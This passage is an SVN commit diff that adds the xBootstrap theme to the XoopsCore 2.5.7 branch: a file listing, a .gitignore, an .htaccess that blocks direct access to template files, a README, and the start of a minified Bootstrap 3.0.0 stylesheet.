XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/obituaries/obituaries_user.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/obituaries/obituaries_users.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/pm/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/pm/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/pm/pm_readpmsg.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/pm/pm_viewpmsg.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/profile/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/profile/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/profile/profile_userinfo.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_category_items_sel.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_items_columns.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_items_menu.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_items_new.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_items_random_item.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_items_recent.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_items_spot.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_latest_files.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/blocks/publisher_search_block.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/changelog.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_categories_table.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_display_full.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_display_list.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_display_wfsection.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_header.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_item(title_bottom).html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_item.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_search.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_singleitem.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/publisher_singleitem_block.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/class/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/class/pagenav.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/blocks/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/blocks/search.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/class/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/class/category.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/class/item.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/css/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/css/publisher.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/item.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/modules/publisher/search.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/publisher/xoops_and_module_changes/xoops.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/system_block_login.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/system_block_mainmenu.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/system_block_newusers.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/system_block_online.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/system_block_themes.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/blocks/system_block_user.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/system_comment.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/system_comments_flat.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/system_comments_thread.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/system_notification_select.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/system/system_siteclosed.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/tag/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/tag/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/tag/tag_bar.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopsfaq/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopsfaq/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopsfaq/xoopsfaq_category.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopsfaq/xoopsfaq_index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube0.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_block_new.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_block_new_h.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_block_new_t.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_block_random.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_block_random_h.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_block_top.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_block_top_t.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_tag_block_cloud.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/blocks/xoopstube_tag_block_tag.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_brokenvideo.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_newlistindex.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_ratevideo.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_rss.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_singlevideo.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_topten.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_videoload.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_videoloadsimple.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/xoopstube/xoopstube_viewcat.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/samples/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/samples/carousel.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/samples/dropdown.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/samples/forms.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/screens/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/screenshot.png
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/shot.png
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/style.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/template.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/theme.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/theme.ini
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/centerBlock.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/centerBottom.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/centerLeft.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/centerRight.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/content-zone.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/contents.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/leftBlock.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/leftBottom.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/nav-menu.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/rightBlock.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/rightBottom.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/shareaholic-script.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/tpl/slider.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/config.json
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/css/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/css/bootstrap.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/css/bootstrap.min.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/fonts/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/fonts/glyphicons-halflings-regular.eot
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/fonts/glyphicons-halflings-regular.svg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/fonts/glyphicons-halflings-regular.ttf
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/fonts/glyphicons-halflings-regular.woff
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/js/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/js/bootstrap.js
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/upgrade/js/bootstrap.min.js
Added: XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.gitignore
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.gitignore (rev 0)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.gitignore 2014-02-10 04:42:34 UTC (rev 12295)
@@ -0,0 +1,2 @@
+Thumbs.db
+_notes
\ No newline at end of file
Added: XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.htaccess
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.htaccess (rev 0)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.htaccess 2014-02-10 04:42:34 UTC (rev 12295)
@@ -0,0 +1,4 @@
+<Files ~ ".html">
+order allow,deny
+deny from all
+</Files>
Added: XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/README.md
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/README.md (rev 0)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/README.md 2014-02-10 04:42:34 UTC (rev 12295)
@@ -0,0 +1,6 @@
+xBootstrap
+==========
+
+xBootstrap is a theme for XOOPS (www.xoops.org) developed with Bootstrap.
+
+Online demo: http://themes.angelorocha.com.br
Added: XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/css/bootstrap.min.css
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/css/bootstrap.min.css (rev 0)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/css/bootstrap.min.css 2014-02-10 04:42:34 UTC (rev 12295)
@@ -0,0 +1,846 @@
+/*!
+ * Bootstrap v3.0.0
+ *
+ * Copyright 2013 Twitter, Inc
+ * Licensed under the Apache License v2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Designed and built with all the love in the world @twitter by @mdo and @fat.
+ */
+
+
+article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block;}
+audio,canvas,video{display:inline-block;}
+audio:not([controls]){display:none;height:0;}
+[hidden]{display:none;}
+html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}
+body{margin:0;}
+a:focus{outline:thin dotted;}
+a:active,a:hover{outline:0;}
+h1{font-size:2em;margin:0.67em 0;}
+abbr[title]{border-bottom:1px dotted;}
+b,strong{font-weight:bold;}
+dfn{font-style:italic;}
+hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0;}
+mark{background:#ff0;color:#000;}
+code,kbd,pre,samp{font-family:monospace, serif;font-size:1em;}
+pre{white-space:pre-wrap;}
+q{quotes:"\201C" "\201D" "\2018" "\2019";}
+small{font-size:80%;}
+sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;}
+sup{top:-0.5em;}
+sub{bottom:-0.25em;}
+img{border:0;}
+svg:not(:root){overflow:hidden;}
+figure{margin:0;}
+fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em;}
+legend{border:0;padding:0;}
+button,input,select,textarea{font-family:inherit;font-size:100%;margin:0;}
+button,input{line-height:normal;}
+button,select{text-transform:none;}
+button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer;}
+button[disabled],html input[disabled]{cursor:default;}
+input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0;}
+input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;}
+input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none;}
+button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0;}
+textarea{overflow:auto;vertical-align:top;}
+table{border-collapse:collapse;border-spacing:0;}
+*,*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}
+html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}
+body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333333;background-color:#ffffff;}
+input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit;}
+button,input,select[multiple],textarea{background-image:none;}
+a{color:#428bca;text-decoration:none;}a:hover,a:focus{color:#2a6496;text-decoration:underline;}
+a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}
+img{vertical-align:middle;}
+.img-responsive{display:block;max-width:100%;height:auto;}
+.img-rounded{border-radius:6px;}
+.img-thumbnail{padding:4px;line-height:1.428571429;background-color:#ffffff;border:1px solid #dddddd;border-radius:4px;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;display:inline-block;max-width:100%;height:auto;}
+.img-circle{border-radius:50%;}
+hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eeeeee;}
+.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0 0 0 0);border:0;}
+@media print{*{text-shadow:none !important;color:#000 !important;background:transparent !important;box-shadow:none !important;} a,a:visited{text-decoration:underline;} a[href]:after{content:" (" attr(href) ")";} abbr[title]:after{content:" (" attr(title) ")";} .ir a:after,a[href^="javascript:"]:after,a[href^="#"]:after{content:"";} pre,blockquote{border:1px solid #999;page-break-inside:avoid;} thead{display:table-header-group;} tr,img{page-break-inside:avoid;} img{max-width:100% !important;} @page {margin:2cm .5cm;}p,h2,h3{orphans:3;widows:3;} h2,h3{page-break-after:avoid;} .navbar{display:none;} .table td,.table th{background-color:#fff !important;} .btn>.caret,.dropup>.btn>.caret{border-top-color:#000 !important;} .label{border:1px solid #000;} .table{border-collapse:collapse !important;} .table-bordered th,.table-bordered td{border:1px solid #ddd !important;}}p{margin:0 0 10px;}
+.lead{margin-bottom:20px;font-size:16.099999999999998px;font-weight:200;line-height:1.4;}@media (min-width:768px){.lead{font-size:21px;}}
+small{font-size:85%;}
+cite{font-style:normal;}
+.text-muted{color:#999999;}
+.text-primary{color:#428bca;}
+.text-warning{color:#c09853;}
+.text-danger{color:#b94a48;}
+.text-success{color:#468847;}
+.text-info{color:#3a87ad;}
+.text-left{text-align:left;}
+.text-right{text-align:right;}
+.text-center{text-align:center;}
+h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small{font-weight:normal;line-height:1;color:#999999;}
+h1,h2,h3{margin-top:20px;margin-bottom:10px;}
+h4,h5,h6{margin-top:10px;margin-bottom:10px;}
+h1,.h1{font-size:36px;}
+h2,.h2{font-size:30px;}
+h3,.h3{font-size:24px;}
+h4,.h4{font-size:18px;}
+h5,.h5{font-size:14px;}
+h6,.h6{font-size:12px;}
+h1 small,.h1 small{font-size:24px;}
+h2 small,.h2 small{font-size:18px;}
+h3 small,.h3 small,h4 small,.h4 small{font-size:14px;}
+.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eeeeee;}
+ul,ol{margin-top:0;margin-bottom:10px;}ul ul,ol ul,ul ol,ol ol{margin-bottom:0;}
+.list-unstyled{padding-left:0;list-style:none;}
+.list-inline{padding-left:0;list-style:none;}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px;}
+dl{margin-bottom:20px;}
+dt,dd{line-height:1.428571429;}
+dt{font-weight:bold;}
+dd{margin-left:0;}
+@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;} .dl-horizontal dd{margin-left:180px;}.dl-horizontal dd:before,.dl-horizontal dd:after{content:" ";display:table;} .dl-horizontal dd:after{clear:both;} .dl-horizontal dd:before,.dl-horizontal dd:after{content:" ";display:table;} .dl-horizontal dd:after{clear:both;}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999999;}
+abbr.initialism{font-size:90%;text-transform:uppercase;}
+blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eeeeee;}blockquote p{font-size:17.5px;font-weight:300;line-height:1.25;}
+blockquote p:last-child{margin-bottom:0;}
+blockquote small{display:block;line-height:1.428571429;color:#999999;}blockquote small:before{content:'\2014 \00A0';}
+blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eeeeee;border-left:0;}blockquote.pull-right p,blockquote.pull-right small{text-align:right;}
+blockquote.pull-right small:before{content:'';}
+blockquote.pull-right small:after{content:'\00A0 \2014';}
+q:before,q:after,blockquote:before,blockquote:after{content:"";}
+address{display:block;margin-bottom:20px;font-style:normal;line-height:1.428571429;}
+code,pre{font-family:Monaco,Menlo,Consolas,"Courier New",monospace;}
+code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;white-space:nowrap;border-radius:4px;}
+pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;word-break:break-all;word-wrap:break-word;color:#333333;background-color:#f5f5f5;border:1px solid #cccccc;border-radius:4px;}pre.prettyprint{margin-bottom:20px;}
+pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border:0;}
+.pre-scrollable{max-height:340px;overflow-y:scroll;}
+.container{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px;}.container:before,.container:after{content:" ";display:table;}
+.container:after{clear:both;}
+.container:before,.container:after{content:" ";display:table;}
+.container:after{clear:both;}
+.row{margin-left:-15px;margin-right:-15px;}.row:before,.row:after{content:" ";display:table;}
+.row:after{clear:both;}
+.row:before,.row:after{content:" ";display:table;}
+.row:after{clear:both;}
+.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{position:relative;min-height:1px;padding-left:15px;padding-right:15px;}
+.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11{float:left;}
+.col-xs-1{width:8.333333333333332%;}
+.col-xs-2{width:16.666666666666664%;}
+.col-xs-3{width:25%;}
+.col-xs-4{width:33.33333333333333%;}
+.col-xs-5{width:41.66666666666667%;}
+.col-xs-6{width:50%;}
+.col-xs-7{width:58.333333333333336%;}
+.col-xs-8{width:66.66666666666666%;}
+.col-xs-9{width:75%;}
+.col-xs-10{width:83.33333333333334%;}
+.col-xs-11{width:91.66666666666666%;}
+.col-xs-12{width:100%;}
+@media (min-width:768px){.container{max-width:750px;} .col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11{float:left;} .col-sm-1{width:8.333333333333332%;} .col-sm-2{width:16.666666666666664%;} .col-sm-3{width:25%;} .col-sm-4{width:33.33333333333333%;} .col-sm-5{width:41.66666666666667%;} .col-sm-6{width:50%;} .col-sm-7{width:58.333333333333336%;} .col-sm-8{width:66.66666666666666%;} .col-sm-9{width:75%;} .col-sm-10{width:83.33333333333334%;} .col-sm-11{width:91.66666666666666%;} .col-sm-12{width:100%;} .col-sm-push-1{left:8.333333333333332%;} .col-sm-push-2{left:16.666666666666664%;} .col-sm-push-3{left:25%;} .col-sm-push-4{left:33.33333333333333%;} .col-sm-push-5{left:41.66666666666667%;} .col-sm-push-6{left:50%;} .col-sm-push-7{left:58.333333333333336%;} .col-sm-push-8{left:66.66666666666666%;} .col-sm-push-9{left:75%;} .col-sm-push-10{left:83.33333333333334%;} .col-sm-push-11{left:91.66666666666666%;} .col-sm-pull-1{right:8.333333333333332%;} .col-sm-pull-2{right:16.666666666666664%;} .col-sm-pull-3{right:25%;} .col-sm-pull-4{right:33.33333333333333%;} .col-sm-pull-5{right:41.66666666666667%;} .col-sm-pull-6{right:50%;} .col-sm-pull-7{right:58.333333333333336%;} .col-sm-pull-8{right:66.66666666666666%;} .col-sm-pull-9{right:75%;} .col-sm-pull-10{right:83.33333333333334%;} .col-sm-pull-11{right:91.66666666666666%;} .col-sm-offset-1{margin-left:8.333333333333332%;} .col-sm-offset-2{margin-left:16.666666666666664%;} .col-sm-offset-3{margin-left:25%;} .col-sm-offset-4{margin-left:33.33333333333333%;} .col-sm-offset-5{margin-left:41.66666666666667%;} .col-sm-offset-6{margin-left:50%;} .col-sm-offset-7{margin-left:58.333333333333336%;} .col-sm-offset-8{margin-left:66.66666666666666%;} .col-sm-offset-9{margin-left:75%;} .col-sm-offset-10{margin-left:83.33333333333334%;} .col-sm-offset-11{margin-left:91.66666666666666%;}}@media (min-width:992px){.container{max-width:970px;} .col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11{float:left;} .col-md-1{width:8.333333333333332%;} .col-md-2{width:16.666666666666664%;} .col-md-3{width:25%;} .col-md-4{width:33.33333333333333%;} .col-md-5{width:41.66666666666667%;} .col-md-6{width:50%;} .col-md-7{width:58.333333333333336%;} .col-md-8{width:66.66666666666666%;} .col-md-9{width:75%;} .col-md-10{width:83.33333333333334%;} .col-md-11{width:91.66666666666666%;} .col-md-12{width:100%;} .col-md-push-0{left:auto;} .col-md-push-1{left:8.333333333333332%;} .col-md-push-2{left:16.666666666666664%;} .col-md-push-3{left:25%;} .col-md-push-4{left:33.33333333333333%;} .col-md-push-5{left:41.66666666666667%;} .col-md-push-6{left:50%;} .col-md-push-7{left:58.333333333333336%;} .col-md-push-8{left:66.66666666666666%;} .col-md-push-9{left:75%;} .col-md-push-10{left:83.33333333333334%;} .col-md-push-11{left:91.66666666666666%;} .col-md-pull-0{right:auto;} .col-md-pull-1{right:8.333333333333332%;} .col-md-pull-2{right:16.666666666666664%;} .col-md-pull-3{right:25%;} .col-md-pull-4{right:33.33333333333333%;} .col-md-pull-5{right:41.66666666666667%;} .col-md-pull-6{right:50%;} .col-md-pull-7{right:58.333333333333336%;} .col-md-pull-8{right:66.66666666666666%;} .col-md-pull-9{right:75%;} .col-md-pull-10{right:83.33333333333334%;} .col-md-pull-11{right:91.66666666666666%;} .col-md-offset-0{margin-left:0;} .col-md-offset-1{margin-left:8.333333333333332%;} .col-md-offset-2{margin-left:16.666666666666664%;} .col-md-offset-3{margin-left:25%;} .col-md-offset-4{margin-left:33.33333333333333%;} .col-md-offset-5{margin-left:41.66666666666667%;} .col-md-offset-6{margin-left:50%;} .col-md-offset-7{margin-left:58.333333333333336%;} .col-md-offset-8{margin-left:66.66666666666666%;} .col-md-offset-9{margin-left:75%;} .col-md-offset-10{margin-left:83.33333333333334%;} 